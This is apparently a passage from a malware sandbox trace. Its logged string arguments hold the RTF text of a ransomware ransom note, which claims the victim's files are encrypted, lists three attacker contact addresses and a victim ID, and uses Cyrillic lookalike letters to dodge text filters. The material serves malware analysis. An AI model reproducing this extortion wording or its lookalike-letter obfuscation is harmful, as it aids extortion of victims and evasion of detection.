\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 